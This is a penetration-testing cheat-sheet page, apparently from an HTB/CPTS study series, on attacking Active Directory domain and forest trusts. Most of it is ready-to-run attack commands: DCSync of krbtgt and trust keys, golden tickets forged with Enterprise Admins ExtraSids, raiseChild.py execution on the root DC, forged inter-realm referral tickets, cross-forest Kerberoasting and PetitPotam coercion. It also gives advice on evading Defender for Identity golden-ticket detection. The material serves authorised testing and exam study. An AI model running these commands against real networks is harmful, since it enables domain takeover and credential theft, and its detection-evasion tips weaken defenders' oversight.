FLOW^:Pentest Workflow

Domain Trusts and Cross-Forest

Pentest attack-flow reference for domain trusts and cross-forest in an authorised engagement.

advancedupdated 2026-08-29Impacket · PowerView · BloodHound

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 14 of 17 · Focus: Domain Trusts and Cross-Forest

Previous: Stage 10 — Lateral Movement, Pivoting, and Loot · Next: Stage 11 — Documentation and Reporting


🌲 DOMAIN TRUSTS & CROSS-FOREST — beyond one domain

DA in one domain isn’t the end when there’s a forest. Parent/child and forest trusts let a compromise in one domain reach the others. The rule that decides everything: SID filtering is OFF inside a forest (parent↔child) but ON across a forest trust — so the ExtraSids/SID-History trick that owns the forest root does not cross into a foreign forest. Enumerate the trusts first, then pick the technique by trust type. Deep dives: 🔶 Attack · 🔶 Attack · 🔶 Attack · 🔶 Attack.


Trust types — the decision table

Every technique below keys off three properties: direction (which way credentials flow), transitivity (does the trust chain extend?), and SID filtering (are foreign-privileged SIDs stripped?).

Trust typeCreated whenDefault directionTransitive?SID filteringAttack surface
Parent–Childchild domain added to forestbidirectionalYesOFF (inside forest)child DA → forest root via ExtraSids (golden ticket + -519)
Tree–Rootnew tree (different DNS namespace) added to forestbidirectionalYesOFFsame as parent–child
Externalmanual, domain↔domain across forests (or NT4)set at creationNoON (always)only what’s explicitly shared; kerberoast/delegation across
Forestmanual, forest↔forestset at creationYes (within the trust)ON (default)trust-key referral, foreign group hunting
Shortcutmanual, between two domains in same forestbidirectionalYesOFFspeed optimisation only — same attack surface as parent–child
Realm (MIT)AD↔non-Windows Kerberosset at creationNon/arare in labs; treat like external

Direction, decoded: an inbound trust on the target means users from my domain can authenticate there (target trusts me) — that’s the direction I can attack along. Outbound means I trust them — their compromise reaches me, not vice versa. Mnemonic: “inbound = I can go in.” Bidirectional = both.

Direction cheat:
  CHILD  --(trusts PARENT)--> PARENT   means: PARENT users can auth into CHILD
  attack flows WITH the "users can auth" arrow, i.e. from the trusted side to the trusting side

Transitivity matrix:

Parent-Child / Tree-Root:  transitive — A↔B and B↔C inside a forest ⇒ A trusts C automatically
Forest:                    transitive across the two forests' domains, but does NOT chain to a third forest
External:                  never transitive — only the two named domains

Enumerate trusts

What to look for → direction (inbound/outbound/bidirectional), type (parent-child vs forest/external), and whether it’s transitive. BloodHound draws trust edges; confirm on the wire. Everything in this section is standard Stage 04 enumeration pointed at trustedDomain objects.

From Linux (authenticated):

nxc ldap "$DC" -u "$U" -p "$P" -M enum_trusts
nxc ldap "$DC" -u "$U" -p "$P" \
  --query "(objectClass=trustedDomain)" ""

# ldapdomaindump pulls trusts into the HTML/grep-able dump automatically
ldapdomaindump -u "$DOMAIN\\$U" -p "$P" "$DC" -o ldd-out/
grep -i trust ldd-out/domain_trusts.html

# impacket: quick DC locator per discovered domain
getTGT.py "$DOMAIN/$U:$P" -dc-ip "$DC" -debug 2>/dev/null | head   # sanity: creds work before chasing trusts

From a Windows Command Prompt:

nltest /domain_trusts /all_trusts
nltest /dsgetdc:$DOMAIN /force                     :: locate a DC in the *current* domain
nltest /dsgetdc:partner.com                        :: locate a DC in the TRUSTED domain (proves routing works)

From PowerShell with the AD module or PowerView:

Get-ADTrust -Filter * |
  Select-Object Name, Direction, TrustType, ForestTransitive

Get-DomainTrust                                    # trusts of current domain
Get-ForestTrust                                    # trusts of the whole forest
Get-DomainTrustMapping                             # walk the full map across all discovered trusts
Get-DomainTrust -Domain partner.com                # enumerate FROM the other side, through the trust
Get-DomainUser -Domain partner.com                 # any readable objects across the trust

BloodHound cross-domain ingest: the collector only grabs the domain you’re scoped to by default — collect each domain in the forest separately, and BloodHound stitches the trust edges (TrustedBy) plus Foreign nodes (ForeignGroupMembership, ForeignAdmin) automatically:

bloodhound-ce-python -u "$U" -p "$P" -d child.$DOMAIN -dc child-dc.child.$DOMAIN -c all --zip
bloodhound-ce-python -u "$U" -p "$P" -d $DOMAIN -dc $DC -c all --zip        # repeat per domain
# SharpHound equivalent per domain: SharpHound.exe -c all -d child.domain.local

[!warning] Watch out — trust enumeration is noisy nltest /domain_trusts and Get-ADTrust are benign admin commands; Get-DomainTrustMapping and cross-domain LDAP queries generate directory-service traffic from a workstation that has no business asking — Defender for Identity flags reconnaissance against trusts patterns. BloodHound -c all across multiple domains multiplies the LDAP query volume; consider -c DCOnly or grouped collection per domain. Trust objects themselves are world-readable in AD — authenticated users may enumerate them by design (T1482), so the detection signal is velocity and source, not the read itself.


INTRA-FOREST: Child → Parent (forest root) via SID History

What to look for → you’re DA in a child domain and want Enterprise Admin over the whole forest. Works because SID filtering is not enforced inside a forest — a forged ticket from the child can carry the forest-root Enterprise Admins SID (<rootSID>-519) in its ExtraSids, and the root accepts it.

The keys you need:

  1. Child domain krbtgt NT hash (you’re child DA — DCSync it).
  2. Child domain SID (any whoami /user or Get-DomainSID).
  3. Forest root domain SID (resolve via the trust, e.g. Get-DomainSID -Domain root.local or lookupsid.py).

Linux / Impacket flow:

# 1. DCSync the CHILD krbtgt (you're child DA), get child domain SID + the parent's EA SID (parentSID-519)
secretsdump.py "child.$DOMAIN"/'childDC$'@child-dc -just-dc-user krbtgt
lookupsid.py "child.$DOMAIN"/Administrator@parent-dc | head -3     # resolve parent domain SID

# 2. forge a Golden Ticket in the child, inject parent Enterprise Admins SID via ExtraSids
ticketer.py -nthash <child_krbtgt> -domain-sid S-1-5-21-<childSID> \
  -domain child.$DOMAIN -extra-sid S-1-5-21-<parentSID>-519 Administrator
export KRB5CCNAME=Administrator.ccache

# 3. now Enterprise Admin across the forest → DCSync the forest root
secretsdump.py -k -no-pass "$DOMAIN"/Administrator@parent-dc

Impacket one-shot: raiseChild.py automates the entire child→root escalation (dumps child krbtgt, resolves SIDs, forges the ExtraSids ticket, and can drop straight into a shell on the root DC):

raiseChild.py child.$DOMAIN/Administrator:'<childpass>'
raiseChild.py -hashes :<child_admin_nthash> child.$DOMAIN/Administrator
raiseChild.py child.$DOMAIN/Administrator -target-exec parent-dc.$DOMAIN   # forge + psexec-style exec on root DC

Windows foothold flow (mimikatz + Rubeus):

:: dump child krbtgt AND the trust keys in one go
mimikatz.exe "privilege::debug" "lsadump::dcsync /user:CHILD\krbtgt" "exit"
mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"        :: krbtgt + inter-realm trust keys + domain SIDs

:: forge golden with parent EA SID history
mimikatz.exe "kerberos::golden /user:Administrator /domain:child.$DOMAIN /sid:S-1-5-21-<childSID> ^
  /krbtgt:<child_krbtgt_nthash> /sids:S-1-5-21-<parentSID>-519 /ptt" "exit"

:: verify + use
dir \\parent-dc.$DOMAIN\C$

[!tools] Stage this mimikatz_trunk.zip (SHA-256 · GPG signature)

[!warning] Watch out

  • -extra-sid / /sids must be the parent’s domain SID + -519 (Enterprise Admins), not the child’s — the most common botched forge. Get the parent SID with lookupsid.py against a parent DC, don’t guess.
  • Fires 4768/4769 for the cross-domain TGT/TGS and the forged ticket’s account (e.g. Administrator) may not even exist in the child — Defender for Identity detects golden tickets via ticket-lifetime anomalies (default TGT lifetime 10h; mimikatz defaults to 10 years → massive tell). Set /endin:600 /renewmax:10080 (10h/7d, real defaults).
  • krbtgt is RC4 by default; if the domain is AES-only (rare), forge with -aesKey / /aes256 instead.
  • This is the classic “child DA → forest root” and it needs no CVE — the trust design allows it. Deep dive: 🔶 Attack. MITRE: T1550.003 (PtT) + T1558.001 (Golden Ticket).

Inter-realm trust keys — the forest trust’s master key

What to look for → every trust creates an inter-realm trust account (TRUSTEDDOMAIN$, e.g. PARTNER$) whose password is the shared secret for the trust. Dump it (as DA) and you can forge referral TGTs into the trusted side — for parent↔child this equals forest-root access, for forest trusts it’s the entry ticket (still gated by SID filtering).

:: all trust keys for the domain, inbound and outbound
mimikatz.exe "privilege::debug" "lsadump::trust /patch" "exit"
:: output per trust: [IN] current + previous RC4/AES keys, [OUT] same — save BOTH directions
# impacket equivalent — the trust account's hash IS the RC4 trust key
secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$"

[!note] Trust-key gotchas

  • The trust account password rotates every 30 days (like machine accounts) — mimikatz shows current and previous; both are typically valid.
  • RC4 vs AES trust key: secretsdump gives you the NT (RC4) key. If you forge an inter-realm TGT with the RC4 key but the trusting side expects AES (or you ask asktgs for AES), the KDC may answer with a ticket you can’t parse/use — specify ticketer.py -nthash <rc4key> (RC4 end-to-end) and request RC4 service tickets (Rubeus asktgs /enctype:rc4), or extract the AES trust keys with lsadump::trust /patch and forge with -aesKey.
  • Trust keys are how SID filtering is enforced: the trusting KDC rebuilds the PAC and strips filtered SIDs — the key gets you across, it doesn’t smuggle privileges.

CROSS-FOREST — SID filtering blocks the shortcut

What to look for → a forest trust to a partner forest. ExtraSids is filtered here, so you can’t just inject a foreign EA SID. Two real paths:

# A) Trust-key forge → referral into the foreign forest (only reaches groups explicitly shared across the trust)
secretsdump.py "$DOMAIN"/'DC$'@$DC -just-dc-user "partner$"     # dump the inter-realm trust key
ticketer.py -nthash <trust_key> -domain-sid S-1-5-21-<mySID> -domain "$DOMAIN" \
  -spn krbtgt/partner.com Administrator                          # inter-realm referral TGT
export KRB5CCNAME=Administrator.ccache
getST.py -k -no-pass -spn cifs/partner-dc.partner.com "$DOMAIN/Administrator@partner.com"

# B) Hunt foreign-group memberships / ACLs your principals already hold ACROSS the trust (BloodHound "Foreign" nodes)

From a Windows foothold, request the destination service ticket with Rubeus:

Rubeus.exe asktgs /ticket:referral.kirbi /service:cifs/partner-dc.partner.com /ptt /enctype:rc4

What SID filtering actually strips (forest/external trusts): SIDs from the other forest that identify privileged or well-known principals — specifically anything with RID ≥ 500 in the foreign domain (Domain Admins -512, Enterprise Admins, the Administrator account, etc.) plus SIDs from any domain other than the directly trusted one. What survives: RIDs < 1000 built-in container SIDs are partly exempt — the classic abuse is that Account Operators-adjacent and some built-in groups can pass; more practically, foreign SIDs with RID ≥ 1000 (normal users/groups) survive untouched. So: a foreign user who is a member of a group explicitly granted local admin on a server (or in an ACL) keeps that access through the trust.

Concretely exploitable across a filtered forest trust:

[ ] ForeignSecurityPrincipals — enumerate the trusting forest's CN=ForeignSecurityPrincipals:
    members of local groups that are SIDs from YOUR forest (Get-DomainObject -Domain partner.com, or
    nxc ldap query on (objectClass=foreignSecurityPrincipal)) → maps "my user X has rights over there"
[ ] Kerberoast across the trust — GetUserSPNs.py / Rubeus kerberoast against the trusting domain;
    service accounts there crack offline identically (Stage 05)
[ ] Unconstrained delegation — a server in the partner forest with unconstrained delegation will still
    hand you TGTs of partner-forest users/computers that touch it (printerbug coercion works cross-forest
    if routing/firewall allows) → partner DA
[ ] MSSQL link chains — linked servers routinely hop across trust boundaries where Kerberos would be
    filtered; xp_cmdshell on the far side executes in the partner forest (Stage 10 tooling)
[ ] ADCS cross-forest enrollment — templates enrollment-permitted for foreign principals (see below)

Selective authentication (Selective Authentication Enabled on the trust): even with a valid cross-trust ticket, you can only reach machines where your principal has the Allowed to Authenticate right (default: no one gets it implicitly — the “other forest users can’t even log on” mode). Enumeration tell: Get-ADTrust shows TrustAttributes values; Rubeus asktgs succeeds but dir \\host\C$ fails with access denied despite a valid ticket. In practice it’s rare — most forest trusts are wide — but when you hit it, hunt for the specific servers where AllowedToAuthenticate was granted.

[!warning] Watch out Across a forest trust you can only reach what’s explicitly shared (foreign group memberships, cross-forest ACLs). Chase BloodHound’s ForeignGroupMembership / ForeignAdmin nodes rather than expecting full DA. Forged cross-forest tickets are louder than intra-forest: the referral + foreign TGS pair (4768→4769 across two forests’ DCs) is a strong cross-forest-anomaly signal for Defender for Identity. Deep dive: 🔶 Attack.

[!tip] Two more trust plays ADCS cross-domain enrollment — a CA in one domain trusting principals from another lets you enroll a cert as a foreign identity → auth across the trust (pairs with Stage 07; check certipy find -enabled -dc-ip <otherDC> from the trusted side). 🔶 Attack. PAM / bastion-forest trust (Server 2016+, rare) — if you own the bastion forest, create a shadow principal mapping your bastion user’s SID to a production Domain Admins SID for standing admin in production. 🔶 Attack.

ForeignSecurityPrincipals — mapping who can reach what

What to look for → when a foreign principal is granted membership in a trusting forest’s group, AD stores a Foreign Security Principal object (CN=<SID>,CN=ForeignSecurityPrincipals,DC=...) — a stub that only holds the foreign SID. Enumerating these tells you exactly which accounts from your forest already have standing rights over there.

# FSPs in the trusting domain -> which foreign SIDs hold rights
Get-DomainObject -Domain partner.com -SearchBase "CN=ForeignSecurityPrincipals,DC=partner,DC=com"
# then resolve each SID back in YOUR forest to a real user/group
Get-DomainObject -Identity "S-1-5-21-<yourSID>-<rid>"
# and check what groups contain FSPs (nested foreign rights)
Get-DomainGroup -Domain partner.com | ForEach-Object {
  Get-DomainGroupMember -Domain partner.com -Identity $_.samaccountname -Recurse
} | Where-Object { $_.MemberName -match 'S-1-5-21' }
# Linux equivalent
nxc ldap "$DC" -u "$U" -p "$P" --query "(objectClass=foreignSecurityPrincipal)" ""

[!tip] BloodHound does this for you — ingest both forests and query MATCH (u)-[:MemberOf|ForeignGroupMembership*1..]->(g) RETURN u.name,g.name, or just eyeball the Foreign tabs on any high-value group. FSPs are the highest-signal, lowest-noise cross-forest attack path: no forging, no coercion, just rights someone forgot they granted.


Exploitation gotchas — quick reference

GotchaSymptomFix
-extra-sid with child SIDroot DC rejects / no EA rightsuse parent SID + -519
10-year forged TGTinstant DfI golden-ticket alert/endin:600 /renewmax:10080
AES ticket asked, RC4 trust key heldgetST fails / unparseable-nthash + /enctype:rc4, or extract AES via lsadump::trust /patch
Trust key rotated mid-engagementforged referral suddenly failsre-dump; the previous key often still works
Selective authentication on trustvalid TGS, still access deniedneed AllowedToAuthenticate per host — hunt grants or pick another vector
SID filtering strips your extra SIDsticket valid, privileges goneexpected cross-forest; pivot to foreign-group hunting
Clock skew between forestsKRB_AP_ERR_SKEWsync: ntpdate/faketime against the target forest’s DC
SID history enabled on a forest trustExtraSids might survive!rare misconfig — retry the intra-forest technique; treat as a finding

Technique picker — decision flow

Cross-forest technique pickerTD
DA in a domain
Trust type?
Parent-Child / Tree-Root
SID filtering OFF
Forge child golden ticket+ parentSID-519 ExtraSidsticketer.py / mimikatz /sid
Enterprise AdminDCSync forest root
Forest / External
SID filtering ON
Anything explicitly shared?
Foreign group membership / ACL
Use legit cross-trust accessBloodHound Foreign nodes
SPNs in other forest
Kerberoast across trustcrack offline
Unconstrained delegation host
Coerce partner-forest principalsharvest TGTs
ADCS enrollment rights
Enroll as foreign identitycert auth across trust
Nothing shared
Own the trust key anyway:referral TGT for auth,then enumerate what IS reachable
PAM / bastion
Shadow principal mappingbastion SID -> prod DA SID

Cross-forest Kerberoasting — the quiet win

What to look for → SPNs in the partner forest are usually requestable by any authenticated user through the trust — and partner-forest service accounts are often weaker (legacy services, forgotten passwords), because each forest’s admins assume the other side can’t touch them.

# request partner-forest service tickets THROUGH the trust (needs a valid cred in YOUR forest)
GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip "$DC" -target-domain partner.com -request
# Windows:
Rubeus.exe kerberoast /domain:partner.com /dc:partner-dc.partner.com
# PowerView across the trust — enumerate SPN accounts in the partner domain
Get-DomainUser -SPN -Domain partner.com | Select-Object samaccountname,serviceprincipalname
Get-DomainTrust | ForEach-Object { Get-DomainUser -SPN -Domain $_.TargetName }   # roast every trusted domain

Crack the returned $krb5tgs$ hashes exactly like Stage 05 (hashcat -m 13100/18200). A cracked partner-forest service account + any local admin it holds = your cross-forest foothold without forging anything — SID filtering never enters the picture because the access is legitimate.


Unconstrained delegation across a trust

What to look for → a server in the partner forest configured with unconstrained delegation (TRUSTED_FOR_DELEGATION). Any principal from your forest that authenticates to it drops a usable TGT in its memory — and coercion works across trusts when routing/firewalls allow SMB/RPC between forests.

# find them in the partner forest (through the trust)
Get-DomainComputer -Unconstrained -Domain partner.com
# coerce a partner-forest DC into touching your controlled unconstrained host in that forest:
# 1) monitor on the delegation host (in partner forest): Rubeus.exe monitor /interval:5 /filteruser:PARTNERDC$
# 2) coerce from Linux via your own forest's creds (if the partner DC accepts auth from your forest)
python3 PetitPotam.py -u "$U" -p "$P" -d "$DOMAIN" <listener_host> partner-dc.partner.com
# 3) harvested PARTNERDC$ TGT → DCSync the partner domain (Stage 06 flow)

[!warning] Watch out Coercion across forests requires network reachability from the target DC to your listener host (135/445 through the forest-to-forest firewall — often blocked). The delegation host itself must be one you already control in the partner forest, so this is a post-foothold escalation, not an entry vector. Also: printerbug/EFS coercion fire 4662/5145/5156 bursts and NTLM coercion across forests is a favourite DfI detection — see 08 - Stage 05 - Kerberos Attacks and 09 - Stage 06 - ACL and Object Abuse for the base techniques.


OPSEC summary — cross-trust telemetry

EventWhereWhat it shows
4768 (TGT requested)both forests’ DCsforged TGT use; account name from another domain
4769 (TGS requested)trusting-side DCcross-domain service tickets; the krbtgt/<foreign> referral is distinctive
4662 (replication)DCDCSync of krbtgt/trust keys from a non-DC host
4771 (pre-auth failed)DCbrute of trust account / bad forge attempts
Sysmon 10any boxlsass access if you dump trust keys via sekurlsa

[!tip] CPTS exam tip When the exam throws a multi-domain forest at you (e.g. the AEN-style labs): (1) dump trusts with Get-DomainTrustMapping early and draw the picture; (2) check BloodHound Foreign nodes before forging anything — a legit foreign-group path is quieter and faster than a golden ticket; (3) keep per-domain credential/SID tables in your notes — mixing up child vs parent SIDs wastes an hour; (4) every forest compromise is a report finding (“insufficient trust hardening / SID filtering not enforced” — root cause, not “hacker forged ticket”).


[!navigation] Continue the attack flow Previous: Stage 10 — Lateral Movement, Pivoting, and Loot

Dashboard: HTB Pentest Attack Flow

Next: Stage 11 — Documentation and Reporting

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.